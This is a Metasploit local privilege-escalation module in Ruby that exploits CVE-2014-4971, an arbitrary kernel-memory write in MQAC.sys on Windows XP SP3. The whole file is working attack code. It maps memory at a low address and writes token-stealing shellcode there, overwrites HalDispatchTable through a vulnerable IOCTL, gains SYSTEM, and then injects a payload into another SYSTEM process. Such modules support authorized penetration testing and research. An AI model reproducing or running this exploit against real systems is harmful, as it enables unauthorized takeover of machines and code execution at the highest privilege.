##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
        'Description' => %q{
          A vulnerability within the MQAC.sys module allows an attacker to
          overwrite an arbitrary location in kernel memory.

          This module will elevate itself to SYSTEM, then inject the payload
          into another SYSTEM process.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matt Bergin', # original exploit and all the hard work
          'Spencer McIntyre' # MSF module
        ],
        'Arch' => [ARCH_X86],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Targets' => [
          [
            'Windows XP SP3',
            {
              'HaliQuerySystemInfo' => 0x16bba,
              '_KPROCESS' => "\x44",
              '_TOKEN' => "\xc8",
              '_UPID' => "\x84",
              '_APLINKS' => "\x88"
            }
          ]
        ],
        'References' => [
          ['CVE', '2014-4971'],
          ['EDB', '34112'],
          ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
        ],
        'DisclosureDate' => '2014-07-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_OS_RESTARTS, ]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  # Function borrowed from smart_hashdump
  def get_system_proc
    # Make sure you got the correct SYSTEM Account Name no matter the OS Language
    local_sys = resolve_sid('S-1-5-18')
    system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

    this_pid = session.sys.process.getpid
    # Processes that can Blue Screen a host if migrated in to
    dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
    session.sys.process.processes.each do |p|
      # Check we are not migrating to a process that can BSOD the host
      next if dangerous_processes.include?(p['name'])
      next if p['pid'] == this_pid
      next if p['pid'] == 4
      next if p['user'] != system_account_name

      return p
    end
  end

  def check
    handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      print_error('MSMQ installation not found')
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)

    version = get_version_info
    if version.build_number == Msf::WindowsVersion::XP_SP3
      return Exploit::CheckCode::Appears
    elsif version.xp_or_2003? && !version.windows_server?
      vprint_error('Unsupported version of Windows XP detected')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    if sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    if is_system?
      print_error('This meterpreter session is already running as SYSTEM')
      return
    end

    # Running on Windows XP versions that aren't listed in the supported list
    # results in a BSOD and so we should not let that happen.
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
    end

    base_addr = 0xffff
    handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    return if handle.nil?

    this_proc = session.sys.process.open
    unless this_proc.memory.writable?(base_addr)
      session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
                                                    [0xffff].pack('V'),
                                                    'MEM_COMMIT|MEM_RESERVE',
                                                    'PAGE_EXECUTE_READWRITE')
    end
    unless this_proc.memory.writable?(base_addr)
      print_error('Failed to properly allocate memory')
      this_proc.close
      return
    end

    haldispatchtable = find_haldispatchtable
    return if haldispatchtable.nil?

    print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")

    vprint_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
    hal_base = hal_info[0]
    vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
    hali_query_system_information = hal_base + target['HaliQuerySystemInfo']

    restore_ptrs = "\x31\xc0" # xor eax, eax
    restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')          # mov dword ptr [nt!HalDispatchTable+0x4], eax

    shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)

    this_proc.memory.write(0x1, shellcode)
    this_proc.close

    print_status('Triggering vulnerable IOCTL')
    session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
                                                1, 0x258,
                                                haldispatchtable + 4, 0)
    session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)

    unless is_system?
      print_error('Did not get system, exploit failed')
      return
    end

    proc = get_system_proc
    print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
    unless execute_shellcode(payload.encoded, nil, proc['pid'])
      fail_with(Failure::Unknown, 'Error while executing the payload')
    end
  end
end
